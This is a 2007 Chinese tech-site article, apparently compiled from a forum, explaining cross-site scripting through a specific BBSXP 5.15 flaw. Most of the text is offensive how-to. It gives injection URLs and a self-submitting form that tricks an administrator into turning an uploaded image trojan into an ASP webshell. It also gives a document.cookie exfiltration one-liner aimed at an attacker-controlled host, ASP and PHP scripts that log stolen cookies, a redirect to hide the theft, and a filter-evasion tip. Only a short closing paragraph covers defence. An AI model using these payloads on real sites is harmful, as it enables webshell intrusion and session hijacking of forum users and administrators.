[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 安全技巧

简单分析Script脚本跨站攻击漏洞技术

作者: 佚名,  出处:论坛整理, 责任编辑: 张帅, 
2007-12-17 09:58
  如今XSS跨站脚本攻击的安全威胁,越来越多的被攻击者发现并利用,跨站已经成为迫切需要重视并解决的安全问题,本文将介绍XSS跨站脚本攻击的一些基本知识,希望对用户有所帮助……

  所谓跨站漏洞?其实这和现在比较热门的SQL注入的原理有异曲同工之处,都是由于程序员在写程序的时候对一些变量没有做充分的过滤,或者没做任何的过滤就直接把用户提交的数据送到SQL语句里执行,这样导致了用户所提交的一些特意构造的语句,一般都是带有象JAVAScript等这类脚本代码,这样在服务里一旦被执行就形成了所谓的跨站攻击了。一般来说对于人机交互行比较高的程序,比如论坛,留言版这类程序都比较容易存在跨站script攻击。

  如何判断一个程序是否存在跨站漏洞呢?分析程序是最直接的方法了,比如最近搞的很火的BBSXP5.15的跨站漏洞,因为有大虾已经详细的介绍了,偶也就不在详述了,简单的说一下在cookies.asp文件里有这么一句

  Response.Cookies("skins")=""&Request("no")&""然后在setup.asp里

       response.write "〈html〉〈head〉〈meta http-equiv=Content-Type content=text/html; charset=gb2312〉〈/head〉
  〈link href=images/skins/"&Request.Cookies("skins")&"/bbs.css rel=stylesheet〉〈script src=inc/BBSxp.js〉〈/script〉
  〈script src=inc/ybb.js〉〈/script〉〈script src=images/skins/"&Request.Cookies("skins")&"/bbs.js〉〈/script〉"

  我们可以看到,只要构造符合条件的skin的NO,然后在闭合前面的一个"〈"接着就可以在后面加上我们的〈script脚本了

  比如:

  http://xxx.xxxx.xxx/cookies.asp?menu=skins&no=4〉〈script〉document.write(’〈IFRAME marginWidth=100 marginHeight=100 src="http://www.baidu.com"frameBorder=100width=0scrolling=noheight=0to ... gin="0"〉〈/IFRAME〉’); 〈/script〉〈script〉

  这样提交就可以达到我们的跨站目的了,而跟深一层的利用,我们则可以构造表单,迷惑管理员点我们的帖子,或者联接。比如我们构造

        http://127.0.0.1/bbsxp/page2.asp?username=〈body onload="javascript:document.forms[0].submit()"〉
  〈form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉
  〈input value="/UploadFile/2005-5/200512365.jpg" name="yl" 〉
  〈input value="database/haha.asp" name="bf" 〉
  〈/body〉
  〈/html〉

  /UploadFile/2005-5/200512365.jpg这是你的ASP图片木马

  这样我们就如果让管理员浏览了我们的留言,那么这个脚本就会自动把/UploadFile/2005-5/200512365.jpg

  备份成database/haha.asp。我们也就有了可爱的webshell了。而为什么要管理员浏览才有效呢?因为服务器上是存在cookies和session机制的,而session其实是在服务器端的tmp目录下的某一个文件中为每个用户储存一些变量,对session的操作其实是对文件读写操作。

  seesion是每个用户都有自己的session。他们的生命周期一般是用户打开某网站浏览器到关闭与次网站连接所 有的浏览器后结束。cookie这是在用户端的存贮机制,他需要用户的打开cookie支持,所以只有管理才有权利把我们JPG备份在ASP

  现在大家用的比较常见的就是盗取cookies而后欺骗,或者利用社会工程学进一步入侵比如我们构造下面的脚本代码就可以盗取用户cookies了

javascript:window.open(‘http://xxx.xxx.xxx/cookies.asp?msg=’+document.cookie)

  其中http://xxx.xxx.xxx/是大家自己网站空间,cookies.asp是一个asp脚本用于收集msg后边跟的参数,而参数我们指定的是document.cookie,也就是访问此贴用户的cookie。

  cookies.asp的代码是:

     <%
  testfile=Server.MapPath("hun.txt")
  msg=Request("msg")
  set fs=server.CreateObject("scripting.filesystemobject")
  set thisfile=fs.OpenTextFile(testfile,8,True,0)
  thisfile.WriteLine(""&msg& "")
  thisfile.close
  set fs = nothing
  %>

  这样所有访问者的cookie都会收集在hun.txt这个文件里。但是访问者访问我们的帖子,同样会访问到我们的网站的,这样不是露馅了吗?呵呵,但只要我们稍做处理 就可以做的相对真实,比如我们加上下面的代码

     〈script language=vbscript〉
  window.location.href="http://xxx.xxx.xxx"
  〈/script〉

  这个xxx.xxx.xxx最好换成你攻击的网站的域名,这样做的目的是在他访问我们精心构造的网站同时开打他自己的网站,呵呵,这样是不是会更隐蔽一点呢?

  这个cookies.asp和有一个同样作用的cookies.php一样,附代码如下:

    〈?php
  $info = getenv("QUERY_STRING");
  if ($info) {
  $fp = fopen("cookies.txt","a");
  fwrite($fp,$info."\n");
  fclose($fp);
  }
  ?〉

  但是大部份做的不错的论坛,都过滤了javascript这些字符。不过还是有方法可以利用的,可以在论坛发的贴里将javascript写成ascii码。像j可以写成”j ”

  防范的方法,就是过滤字符像javascript/〈script〉/’/; /&/#了等等,

  当然前提是你的网页还要正常显示。建议大家不要轻易打开一些不明url,要将自己的信箱、论坛、QQ等资料的密码设的都不一样,如果一旦资料或密码被盗,避免引连锁反应,所有资料和密码都被别人获得。这就要用到博大精深是社会工程学了。

  总结一下吧。跨站的技巧性很强,呵呵大家多积累经验用起来会达到事半功倍的效果。

  • 本文关键词:

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。